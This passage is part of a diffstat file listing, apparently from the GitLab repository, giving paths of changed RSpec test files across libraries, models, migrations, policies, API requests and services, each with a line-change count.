-rw-r--r--spec/lib/banzai/filter/repository_link_filter_spec.rb8
-rw-r--r--spec/lib/banzai/filter/service_desk_upload_link_filter_spec.rb86
-rw-r--r--spec/lib/banzai/pipeline/full_pipeline_spec.rb4
-rw-r--r--spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb26
-rw-r--r--spec/lib/banzai/pipeline/service_desk_email_pipeline_spec.rb16
-rw-r--r--spec/lib/bulk_imports/clients/http_spec.rb170
-rw-r--r--spec/lib/bulk_imports/groups/stage_spec.rb24
-rw-r--r--spec/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer_spec.rb5
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb2
-rw-r--r--spec/lib/event_filter_spec.rb72
-rw-r--r--spec/lib/gitlab/application_rate_limiter_spec.rb46
-rw-r--r--spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb2
-rw-r--r--spec/lib/gitlab/auth/o_auth/user_spec.rb8
-rw-r--r--spec/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed_spec.rb49
-rw-r--r--spec/lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens_spec.rb53
-rw-r--r--spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_children_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_roots_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/backfill_releases_author_id_spec.rb61
-rw-r--r--spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/batched_migration_job_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/drop_invalid_vulnerabilities_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/migrate_project_taggings_context_from_tags_to_topics_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/sanitize_confidential_todos_spec.rb12
-rw-r--r--spec/lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles_spec.rb78
-rw-r--r--spec/lib/gitlab/background_migration/update_timelogs_project_id_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/update_users_where_two_factor_auth_required_from_group_spec.rb2
-rw-r--r--spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/cache_spec.rb14
-rw-r--r--spec/lib/gitlab/ci/config/entry/job_spec.rb186
-rw-r--r--spec/lib/gitlab/ci/config/entry/processable_spec.rb143
-rw-r--r--spec/lib/gitlab/ci/config/entry/product/matrix_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/config/entry/product/parallel_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/config/entry/reports/coverage_report_spec.rb12
-rw-r--r--spec/lib/gitlab/ci/config/entry/reports_spec.rb14
-rw-r--r--spec/lib/gitlab/ci/config/entry/root_spec.rb15
-rw-r--r--spec/lib/gitlab/ci/config/entry/variable_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/config/external/file/local_spec.rb31
-rw-r--r--spec/lib/gitlab/ci/config/external/mapper_spec.rb11
-rw-r--r--spec/lib/gitlab/ci/config_spec.rb95
-rw-r--r--spec/lib/gitlab/ci/parsers/sbom/validators/cyclonedx_schema_validator_spec.rb41
-rw-r--r--spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb36
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb3
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/create_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/populate_metadata_spec.rb110
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb5
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/build/cache_spec.rb1
-rw-r--r--spec/lib/gitlab/ci/status/bridge/factory_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/status/build/manual_spec.rb41
-rw-r--r--spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb11
-rw-r--r--spec/lib/gitlab/ci/templates/Jobs/sast_iac_gitlab_ci_yaml_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/templates/Jobs/sast_iac_latest_gitlab_ci_yaml_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb11
-rw-r--r--spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/templates/npm_spec.rb5
-rw-r--r--spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb9
-rw-r--r--spec/lib/gitlab/ci/templates/themekit_gitlab_ci_yaml_spec.rb5
-rw-r--r--spec/lib/gitlab/ci/variables/collection_spec.rb150
-rw-r--r--spec/lib/gitlab/ci/yaml_processor_spec.rb66
-rw-r--r--spec/lib/gitlab/config/entry/validators_spec.rb64
-rw-r--r--spec/lib/gitlab/counters/buffered_counter_spec.rb572
-rw-r--r--spec/lib/gitlab/counters/legacy_counter_spec.rb37
-rw-r--r--spec/lib/gitlab/data_builder/build_spec.rb12
-rw-r--r--spec/lib/gitlab/database/async_indexes/index_creator_spec.rb4
-rw-r--r--spec/lib/gitlab/database/async_indexes/index_destructor_spec.rb2
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb1
-rw-r--r--spec/lib/gitlab/database/background_migration/health_status/indicators/autovacuum_active_on_table_spec.rb5
-rw-r--r--spec/lib/gitlab/database/consistency_checker_spec.rb2
-rw-r--r--spec/lib/gitlab/database/gitlab_schema_spec.rb133
-rw-r--r--spec/lib/gitlab/database/indexing_exclusive_lease_guard_spec.rb40
-rw-r--r--spec/lib/gitlab/database/load_balancing/resolver_spec.rb14
-rw-r--r--spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb52
-rw-r--r--spec/lib/gitlab/database/lock_writes_manager_spec.rb31
-rw-r--r--spec/lib/gitlab/database/loose_foreign_keys_spec.rb27
-rw-r--r--spec/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables_spec.rb104
-rw-r--r--spec/lib/gitlab/database/migration_helpers/restrict_gitlab_schema_spec.rb8
-rw-r--r--spec/lib/gitlab/database/migration_helpers_spec.rb176
-rw-r--r--spec/lib/gitlab/database/migrations/instrumentation_spec.rb29
-rw-r--r--spec/lib/gitlab/database/migrations/test_batched_background_runner_spec.rb22
-rw-r--r--spec/lib/gitlab/database/partitioning_spec.rb8
-rw-r--r--spec/lib/gitlab/database/postgres_autovacuum_activity_spec.rb4
-rw-r--r--spec/lib/gitlab/database/postgres_foreign_key_spec.rb191
-rw-r--r--spec/lib/gitlab/database/query_analyzer_spec.rb8
-rw-r--r--spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb8
-rw-r--r--spec/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection_spec.rb9
-rw-r--r--spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb3
-rw-r--r--spec/lib/gitlab/database/query_analyzers/query_recorder_spec.rb49
-rw-r--r--spec/lib/gitlab/database/reindexing/coordinator_spec.rb142
-rw-r--r--spec/lib/gitlab/database/reindexing/grafana_notifier_spec.rb14
-rw-r--r--spec/lib/gitlab/database/reindexing/index_selection_spec.rb36
-rw-r--r--spec/lib/gitlab/database/reindexing/reindex_action_spec.rb4
-rw-r--r--spec/lib/gitlab/database/reindexing_spec.rb6
-rw-r--r--spec/lib/gitlab/database/tables_truncate_spec.rb40
-rw-r--r--spec/lib/gitlab/database_spec.rb20
-rw-r--r--spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb11
-rw-r--r--spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb2
-rw-r--r--spec/lib/gitlab/diff/file_collection/paginated_merge_request_diff_spec.rb2
-rw-r--r--spec/lib/gitlab/error_tracking_spec.rb26
-rw-r--r--spec/lib/gitlab/gitaly_client/ref_service_spec.rb11
-rw-r--r--spec/lib/gitlab/gitaly_client/repository_service_spec.rb33
-rw-r--r--spec/lib/gitlab/gitaly_client_spec.rb120
-rw-r--r--spec/lib/gitlab/github_gists_import/importer/gist_importer_spec.rb4
-rw-r--r--spec/lib/gitlab/github_gists_import/importer/gists_importer_spec.rb2
-rw-r--r--spec/lib/gitlab/github_gists_import/representation/gist_spec.rb2
-rw-r--r--spec/lib/gitlab/github_gists_import/status_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/bulk_importing_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/client_spec.rb42
-rw-r--r--spec/lib/gitlab/github_import/importer/labels_importer_spec.rb3
-rw-r--r--spec/lib/gitlab/github_import/importer/milestones_importer_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/importer/protected_branch_importer_spec.rb103
-rw-r--r--spec/lib/gitlab/github_import/importer/releases_importer_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/page_counter_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/representation/protected_branch_spec.rb25
-rw-r--r--spec/lib/gitlab/http_spec.rb6
-rw-r--r--spec/lib/gitlab/import_export/all_models.yml11
-rw-r--r--spec/lib/gitlab/import_export/base/relation_object_saver_spec.rb4
-rw-r--r--spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb153
-rw-r--r--spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb159
-rw-r--r--spec/lib/gitlab/import_export/project/tree_saver_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/safe_model_attributes.yml3
-rw-r--r--spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb11
-rw-r--r--spec/lib/gitlab/import_export/version_checker_spec.rb2
-rw-r--r--spec/lib/gitlab/instrumentation_helper_spec.rb46
-rw-r--r--spec/lib/gitlab/memory/reporter_spec.rb85
-rw-r--r--spec/lib/gitlab/memory/watchdog_spec.rb3
-rw-r--r--spec/lib/gitlab/merge_requests/message_generator_spec.rb2
-rw-r--r--spec/lib/gitlab/observability_spec.rb37
-rw-r--r--spec/lib/gitlab/pages/cache_control_spec.rb55
-rw-r--r--spec/lib/gitlab/pagination/cursor_based_keyset_spec.rb24
-rw-r--r--spec/lib/gitlab/pagination/keyset/simple_order_builder_spec.rb28
-rw-r--r--spec/lib/gitlab/rack_attack_spec.rb2
-rw-r--r--spec/lib/gitlab/redis/duplicate_jobs_spec.rb10
-rw-r--r--spec/lib/gitlab/redis/multi_store_spec.rb667
-rw-r--r--spec/lib/gitlab/redis/repository_cache_spec.rb49
-rw-r--r--spec/lib/gitlab/redis/sidekiq_status_spec.rb8
-rw-r--r--spec/lib/gitlab/regex_spec.rb55
-rw-r--r--spec/lib/gitlab/relative_positioning/mover_spec.rb2
-rw-r--r--spec/lib/gitlab/repository_cache/preloader_spec.rb91
-rw-r--r--spec/lib/gitlab/repository_hash_cache_spec.rb31
-rw-r--r--spec/lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder_spec.rb58
-rw-r--r--spec/lib/gitlab/seeders/ci/runner/runner_fleet_seeder_spec.rb71
-rw-r--r--spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb42
-rw-r--r--spec/lib/gitlab/ssh/commit_spec.rb15
-rw-r--r--spec/lib/gitlab/ssh/signature_spec.rb8
-rw-r--r--spec/lib/gitlab/submodule_links_spec.rb2
-rw-r--r--spec/lib/gitlab/tracking_spec.rb4
-rw-r--r--spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb44
-rw-r--r--spec/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator_spec.rb40
-rw-r--r--spec/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator_spec.rb35
-rw-r--r--spec/lib/gitlab/usage_data_metrics_spec.rb2
-rw-r--r--spec/lib/gitlab/usage_data_queries_spec.rb4
-rw-r--r--spec/lib/gitlab/usage_data_spec.rb18
-rw-r--r--spec/lib/gitlab/utils/lazy_attributes_spec.rb6
-rw-r--r--spec/lib/gitlab/utils/strong_memoize_spec.rb115
-rw-r--r--spec/lib/gitlab/utils/usage_data_spec.rb24
-rw-r--r--spec/lib/gitlab/version_info_spec.rb8
-rw-r--r--spec/lib/google_api/cloud_platform/client_spec.rb145
-rw-r--r--spec/lib/object_storage/direct_upload_spec.rb1
-rw-r--r--spec/lib/sidebars/groups/menus/observability_menu_spec.rb10
-rw-r--r--spec/lib/sidebars/groups/menus/settings_menu_spec.rb2
-rw-r--r--spec/lib/sidebars/projects/menus/settings_menu_spec.rb4
-rw-r--r--spec/lib/sidebars/your_work/menus/issues_menu_spec.rb12
-rw-r--r--spec/lib/sidebars/your_work/menus/merge_requests_menu_spec.rb12
-rw-r--r--spec/lib/sidebars/your_work/menus/todos_menu_spec.rb12
-rw-r--r--spec/lib/unnested_in_filters/rewriter_spec.rb26
-rw-r--r--spec/mailers/devise_mailer_spec.rb4
-rw-r--r--spec/mailers/emails/imports_spec.rb29
-rw-r--r--spec/mailers/emails/profile_spec.rb10
-rw-r--r--spec/mailers/emails/service_desk_spec.rb106
-rw-r--r--spec/metrics_server/metrics_server_spec.rb70
-rw-r--r--spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb44
-rw-r--r--spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb114
-rw-r--r--spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb44
-rw-r--r--spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb25
-rw-r--r--spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb42
-rw-r--r--spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb120
-rw-r--r--spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb37
-rw-r--r--spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb30
-rw-r--r--spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb29
-rw-r--r--spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb3
-rw-r--r--spec/migrations/20210804150320_create_base_work_item_types_spec.rb3
-rw-r--r--spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb2
-rw-r--r--spec/migrations/20211012134316_clean_up_migrate_merge_request_diff_commit_users_spec.rb2
-rw-r--r--spec/migrations/20211028155449_schedule_fix_merge_request_diff_commit_users_migration_spec.rb2
-rw-r--r--spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb2
-rw-r--r--spec/migrations/20220315171129_cleanup_draft_data_from_faulty_regex_spec.rb2
-rw-r--r--spec/migrations/20220502015011_clean_up_fix_merge_request_diff_commit_users_spec.rb2
-rw-r--r--spec/migrations/20221018050323_add_objective_and_keyresult_to_work_item_types_spec.rb2
-rw-r--r--spec/migrations/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in_spec.rb24
-rw-r--r--spec/migrations/20221215151822_schedule_backfill_releases_author_id_spec.rb53
-rw-r--r--spec/migrations/20221220131020_bump_default_partition_id_value_for_ci_tables_spec.rb78
-rw-r--r--spec/migrations/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration_spec.rb22
-rw-r--r--spec/migrations/20221222092958_sync_new_amount_used_with_amount_used_spec.rb54
-rw-r--r--spec/migrations/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration_spec.rb33
-rw-r--r--spec/migrations/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table_spec.rb55
-rw-r--r--spec/migrations/20230116111252_finalize_todo_sanitization_spec.rb57
-rw-r--r--spec/migrations/add_new_trail_plans_spec.rb95
-rw-r--r--spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb80
-rw-r--r--spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb103
-rw-r--r--spec/migrations/backfill_nuget_temporary_packages_to_processing_status_spec.rb34
-rw-r--r--spec/migrations/change_web_hook_events_default_spec.rb36
-rw-r--r--spec/migrations/clean_up_pending_builds_table_spec.rb48
-rw-r--r--spec/migrations/cleanup_after_add_primary_email_to_emails_if_user_confirmed_spec.rb48
-rw-r--r--spec/migrations/cleanup_move_container_registry_enabled_to_project_feature_spec.rb45
-rw-r--r--spec/migrations/cleanup_mr_attention_request_todos_spec.rb2
-rw-r--r--spec/migrations/confirm_support_bot_user_spec.rb86
-rw-r--r--spec/migrations/delete_security_findings_without_uuid_spec.rb36
-rw-r--r--spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb73
-rw-r--r--spec/migrations/migrate_elastic_index_settings_spec.rb44
-rw-r--r--spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb59
-rw-r--r--spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb61
-rw-r--r--spec/migrations/queue_backfill_admin_mode_scope_for_personal_access_tokens_spec.rb18
-rw-r--r--spec/migrations/remove_hipchat_service_records_spec.rb23
-rw-r--r--spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb27
-rw-r--r--spec/migrations/schedule_add_primary_email_to_emails_if_user_confirmed_spec.rb31
-rw-r--r--spec/migrations/schedule_backfill_draft_status_on_merge_requests_corrected_regex_spec.rb3
-rw-r--r--spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb47
-rw-r--r--spec/migrations/schedule_update_timelogs_project_id_spec.rb33
-rw-r--r--spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb29
-rw-r--r--spec/migrations/second_recount_epic_cache_counts_spec.rb32
-rw-r--r--spec/migrations/slice_merge_request_diff_commit_migrations_spec.rb2
-rw-r--r--spec/migrations/update_invalid_web_hooks_spec.rb30
-rw-r--r--spec/models/abuse_report_spec.rb40
-rw-r--r--spec/models/achievements/achievement_spec.rb3
-rw-r--r--spec/models/achievements/user_achievement_spec.rb13
-rw-r--r--spec/models/analytics/cycle_analytics/aggregation_spec.rb22
-rw-r--r--spec/models/analytics/cycle_analytics/project_stage_spec.rb2
-rw-r--r--spec/models/appearance_spec.rb4
-rw-r--r--spec/models/application_setting_spec.rb40
-rw-r--r--spec/models/bulk_imports/entity_spec.rb20
-rw-r--r--spec/models/chat_name_spec.rb12
-rw-r--r--spec/models/ci/bridge_spec.rb41
-rw-r--r--spec/models/ci/build_spec.rb80
-rw-r--r--spec/models/ci/job_artifact_spec.rb36
-rw-r--r--spec/models/ci/namespace_mirror_spec.rb2
-rw-r--r--spec/models/ci/pipeline_spec.rb17
-rw-r--r--spec/models/ci/runner_machine_spec.rb51
-rw-r--r--spec/models/ci/runner_spec.rb26
-rw-r--r--spec/models/ci/runner_version_spec.rb8
-rw-r--r--spec/models/clusters/providers/aws_spec.rb33
-rw-r--r--spec/models/clusters/providers/gcp_spec.rb25
-rw-r--r--spec/models/commit_collection_spec.rb16
-rw-r--r--spec/models/commit_signatures/ssh_signature_spec.rb36
-rw-r--r--spec/models/commit_spec.rb14
-rw-r--r--spec/models/concerns/counter_attribute_spec.rb44
-rw-r--r--spec/models/concerns/has_user_type_spec.rb3
-rw-r--r--spec/models/concerns/noteable_spec.rb76
-rw-r--r--spec/models/concerns/safely_change_column_default_spec.rb75
-rw-r--r--spec/models/concerns/sensitive_serializable_hash_spec.rb2
-rw-r--r--spec/models/deployment_spec.rb23
-rw-r--r--spec/models/environment_spec.rb38
-rw-r--r--spec/models/event_collection_spec.rb19
-rw-r--r--spec/models/event_spec.rb15
-rw-r--r--spec/models/factories_spec.rb10
-rw-r--r--spec/models/group_spec.rb196
-rw-r--r--spec/models/integration_spec.rb2
-rw-r--r--spec/models/integrations/apple_app_store_spec.rb105
-rw-r--r--spec/models/integrations/base_chat_notification_spec.rb8
-rw-r--r--spec/models/integrations/chat_message/issue_message_spec.rb1
-rw-r--r--spec/models/integrations/chat_message/pipeline_message_spec.rb12
-rw-r--r--spec/models/integrations/every_integration_spec.rb4
-rw-r--r--spec/models/integrations/field_spec.rb2
-rw-r--r--spec/models/issue_spec.rb2
-rw-r--r--spec/models/member_spec.rb41
-rw-r--r--spec/models/members/member_role_spec.rb23
-rw-r--r--spec/models/merge_request/approval_removal_settings_spec.rb2
-rw-r--r--spec/models/merge_request_diff_spec.rb23
-rw-r--r--spec/models/merge_request_spec.rb72
-rw-r--r--spec/models/ml/candidate_spec.rb53
-rw-r--r--spec/models/namespace_setting_spec.rb76
-rw-r--r--spec/models/namespace_spec.rb20
-rw-r--r--spec/models/note_spec.rb44
-rw-r--r--spec/models/oauth_access_token_spec.rb18
-rw-r--r--spec/models/packages/package_file_spec.rb7
-rw-r--r--spec/models/packages/package_spec.rb5
-rw-r--r--spec/models/pages/lookup_path_spec.rb10
-rw-r--r--spec/models/pages_domain_spec.rb2
-rw-r--r--spec/models/personal_access_token_spec.rb31
-rw-r--r--spec/models/plan_limits_spec.rb7
-rw-r--r--spec/models/project_import_state_spec.rb20
-rw-r--r--spec/models/project_spec.rb269
-rw-r--r--spec/models/project_statistics_spec.rb168
-rw-r--r--spec/models/projects/branch_rule_spec.rb32
-rw-r--r--spec/models/projects/build_artifacts_size_refresh_spec.rb64
-rw-r--r--spec/models/release_spec.rb4
-rw-r--r--spec/models/repository_spec.rb65
-rw-r--r--spec/models/resource_event_spec.rb19
-rw-r--r--spec/models/resource_label_event_spec.rb18
-rw-r--r--spec/models/resource_milestone_event_spec.rb3
-rw-r--r--spec/models/resource_state_event_spec.rb3
-rw-r--r--spec/models/timelog_spec.rb28
-rw-r--r--spec/models/todo_spec.rb62
-rw-r--r--spec/models/user_detail_spec.rb85
-rw-r--r--spec/models/user_highest_role_spec.rb2
-rw-r--r--spec/models/user_spec.rb269
-rw-r--r--spec/models/users/namespace_commit_email_spec.rb34
-rw-r--r--spec/models/work_item_spec.rb7
-rw-r--r--spec/models/work_items/parent_link_spec.rb12
-rw-r--r--spec/models/work_items/widgets/hierarchy_spec.rb20
-rw-r--r--spec/policies/concerns/archived_abilities_spec.rb2
-rw-r--r--spec/policies/global_policy_spec.rb106
-rw-r--r--spec/policies/group_policy_spec.rb21
-rw-r--r--spec/policies/issue_policy_spec.rb124
-rw-r--r--spec/policies/merge_request_policy_spec.rb30
-rw-r--r--spec/policies/note_policy_spec.rb36
-rw-r--r--spec/policies/project_group_link_policy_spec.rb56
-rw-r--r--spec/policies/project_policy_spec.rb2
-rw-r--r--spec/policies/resource_label_event_policy_spec.rb2
-rw-r--r--spec/policies/resource_milestone_event_policy_spec.rb73
-rw-r--r--spec/policies/resource_state_event_policy_spec.rb39
-rw-r--r--spec/policies/todo_policy_spec.rb2
-rw-r--r--spec/policies/user_policy_spec.rb26
-rw-r--r--spec/policies/work_item_policy_spec.rb2
-rw-r--r--spec/presenters/ci/build_runner_presenter_spec.rb27
-rw-r--r--spec/presenters/ci/stage_presenter_spec.rb2
-rw-r--r--spec/presenters/packages/nuget/packages_metadata_presenter_spec.rb13
-rw-r--r--spec/presenters/project_presenter_spec.rb40
-rw-r--r--spec/requests/abuse_reports_controller_spec.rb90
-rw-r--r--spec/requests/api/appearance_spec.rb10
-rw-r--r--spec/requests/api/boards_spec.rb2
-rw-r--r--spec/requests/api/bulk_imports_spec.rb200
-rw-r--r--spec/requests/api/ci/jobs_spec.rb70
-rw-r--r--spec/requests/api/ci/runner/jobs_artifacts_spec.rb39
-rw-r--r--spec/requests/api/commits_spec.rb12
-rw-r--r--spec/requests/api/debian_project_packages_spec.rb29
-rw-r--r--spec/requests/api/environments_spec.rb74
-rw-r--r--spec/requests/api/files_spec.rb120
-rw-r--r--spec/requests/api/graphql/ci/config_spec.rb62
-rw-r--r--spec/requests/api/graphql/ci/jobs_spec.rb8
-rw-r--r--spec/requests/api/graphql/group/merge_requests_spec.rb2
-rw-r--r--spec/requests/api/graphql/group_query_spec.rb2
-rw-r--r--spec/requests/api/graphql/issues_spec.rb65
-rw-r--r--spec/requests/api/graphql/merge_request/merge_request_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/achievements/create_spec.rb78
-rw-r--r--spec/requests/api/graphql/mutations/ci/job_play_spec.rb39
-rw-r--r--spec/requests/api/graphql/mutations/groups/update_spec.rb19
-rw-r--r--spec/requests/api/graphql/mutations/members/groups/bulk_update_spec.rb130
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/create_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/reviewer_rereview_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_draft_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_locked_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_milestone_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_reviewers_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_subscription_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/work_items/update_spec.rb4
-rw-r--r--spec/requests/api/graphql/project/branch_rules_spec.rb45
-rw-r--r--spec/requests/api/graphql/project/issues_spec.rb4
-rw-r--r--spec/requests/api/graphql/project/jobs_spec.rb12
-rw-r--r--spec/requests/api/graphql/project/merge_request/diff_notes_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/merge_request_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/merge_requests_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/pipeline_spec.rb17
-rw-r--r--spec/requests/api/graphql/project/runners_spec.rb12
-rw-r--r--spec/requests/api/graphql/project/work_items_spec.rb2
-rw-r--r--spec/requests/api/graphql/user_spec.rb41
-rw-r--r--spec/requests/api/graphql/work_item_spec.rb18
-rw-r--r--spec/requests/api/group_boards_spec.rb2
-rw-r--r--spec/requests/api/group_export_spec.rb11
-rw-r--r--spec/requests/api/import_github_spec.rb139
-rw-r--r--spec/requests/api/internal/base_spec.rb24
-rw-r--r--spec/requests/api/issues/get_project_issues_spec.rb61
-rw-r--r--spec/requests/api/issues/issues_spec.rb5
-rw-r--r--spec/requests/api/markdown_golden_master_spec.rb9
-rw-r--r--spec/requests/api/merge_requests_spec.rb10
-rw-r--r--spec/requests/api/ml/mlflow_spec.rb10
-rw-r--r--spec/requests/api/nuget_group_packages_spec.rb40
-rw-r--r--spec/requests/api/pages_domains_spec.rb3
-rw-r--r--spec/requests/api/project_debian_distributions_spec.rb25
-rw-r--r--spec/requests/api/project_export_spec.rb14
-rw-r--r--spec/requests/api/projects_spec.rb14
-rw-r--r--spec/requests/api/release/links_spec.rb27
-rw-r--r--spec/requests/api/releases_spec.rb28
-rw-r--r--spec/requests/api/repositories_spec.rb12
-rw-r--r--spec/requests/api/rubygem_packages_spec.rb26
-rw-r--r--spec/requests/api/search_spec.rb20
-rw-r--r--spec/requests/api/settings_spec.rb64
-rw-r--r--spec/requests/api/snippet_repository_storage_moves_spec.rb2
-rw-r--r--spec/requests/api/suggestions_spec.rb2
-rw-r--r--spec/requests/api/todos_spec.rb32
-rw-r--r--spec/requests/api/users_spec.rb277
-rw-r--r--spec/requests/dashboard_controller_spec.rb28
-rw-r--r--spec/requests/groups/observability_controller_spec.rb19
-rw-r--r--spec/requests/groups/usage_quotas_controller_spec.rb2
-rw-r--r--spec/requests/openid_connect_spec.rb1
-rw-r--r--spec/requests/projects/issues_controller_spec.rb47
-rw-r--r--spec/requests/projects/merge_requests/content_spec.rb2
-rw-r--r--spec/requests/projects/merge_requests/context_commit_diffs_spec.rb3
-rw-r--r--spec/requests/projects/merge_requests/creations_spec.rb17
-rw-r--r--spec/requests/projects/merge_requests/diffs_spec.rb14
-rw-r--r--spec/requests/projects/merge_requests_controller_spec.rb76
-rw-r--r--spec/requests/projects/ml/candidates_controller_spec.rb8
-rw-r--r--spec/requests/projects/ml/experiments_controller_spec.rb51
-rw-r--r--spec/requests/projects_controller_spec.rb2
-rw-r--r--spec/requests/pwa_controller_spec.rb20
-rw-r--r--spec/requests/rack_attack_global_spec.rb10
-rw-r--r--spec/requests/users_controller_spec.rb12
-rw-r--r--spec/routing/group_routing_spec.rb8
-rw-r--r--spec/rubocop/check_graceful_task_spec.rb2
-rw-r--r--spec/rubocop/cop/background_migration/feature_category_spec.rb71
-rw-r--r--spec/rubocop/cop/gitlab/strong_memoize_attr_spec.rb36
-rw-r--r--spec/rubocop/cop/lint/last_keyword_argument_spec.rb10
-rw-r--r--spec/scripts/trigger-build_spec.rb24
-rw-r--r--spec/serializers/ci/downloadable_artifact_entity_spec.rb5
-rw-r--r--spec/serializers/ci/pipeline_entity_spec.rb10
-rw-r--r--spec/serializers/diffs_entity_spec.rb7
-rw-r--r--spec/serializers/diffs_metadata_entity_spec.rb7
-rw-r--r--spec/serializers/group_link/project_group_link_entity_spec.rb27
-rw-r--r--spec/serializers/merge_requests/pipeline_entity_spec.rb10
-rw-r--r--spec/serializers/paginated_diff_entity_spec.rb7
-rw-r--r--spec/serializers/project_mirror_entity_spec.rb4
-rw-r--r--spec/serializers/stage_entity_spec.rb2
-rw-r--r--spec/services/achievements/create_service_spec.rb46
-rw-r--r--spec/services/audit_event_service_spec.rb2
-rw-r--r--spec/services/bulk_imports/create_pipeline_trackers_service_spec.rb2
-rw-r--r--spec/services/bulk_imports/create_service_spec.rb295
